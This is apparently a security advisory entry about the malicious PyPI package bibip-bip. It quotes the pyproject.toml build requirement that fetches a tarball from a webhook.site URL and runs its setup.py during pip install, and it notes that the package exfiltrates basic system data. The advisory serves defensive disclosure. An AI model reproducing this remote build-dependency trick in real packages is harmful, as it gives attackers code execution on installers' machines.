Vulnerability
Malicious code in bibip-bip (PyPI)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c2b153c90d83d4653660dd79a5a0935af85bd804fd98163c42995403bca240a6) pyproject.toml declares a PEP 517 build requirement that points to an arbitrary tarball hosted on webhook.site, an anonymous request-inspection / file-hosting service: `requires = ["setuptools>=64", "aliga-raison @ https://webhook.site/d5367f1c-8bca-4d14-83d3-b2cbbce825eb/pypi/aliga-raison.tar.gz"]`. During `pip install` (or `pip wheel` / sdist build) pip resolves this direct-URL requirement into the build isolation environment and executes the tarball's setup.py, giving the URL owner arbitrary code execution on the installer's machine. The URL is unpinned (no hash), is not on the publisher's domain, and webhook.site content is fully attacker-controlled and mutable. The package's advertised purpose ('simple hello package') has no legitimate need for an external build dependency, let alone one fetched from an anonymous host. ## Source: kam193 (e9fe54b6f6746a12583461c774f3641de4be0a30042b0349c90b56a25413aa44) Package tests exploitation via externally-hosted dependencies --- Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities. Campaign: GENERIC-standard-pypi-install-pentest Reasons (based on the campaign): - The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk. - The package overrides the install command in setup.py to execute malicious code during installation.
No CVSS base score from NVD or GHSA yet. NVD typically scores within 24–72 hours of publication; GHSA usually within a day for OSS-flagged CVEs. Last record update .
For interim severity, fall back on KEV / EXPLOIT signals and the EPSS percentile (lower panel). Re-check this CVE after one cron tick — the score lands automatically when the source publishes.
FIRST.org publishes EPSS daily. Coverage isn't universal — pre-disclosure CVEs and reserved IDs don't carry an EPSS score until at least one exploitation signal lands. Score will appear within 24 hours of the next EPSS pull.
No exploitation, limited impact or prevalence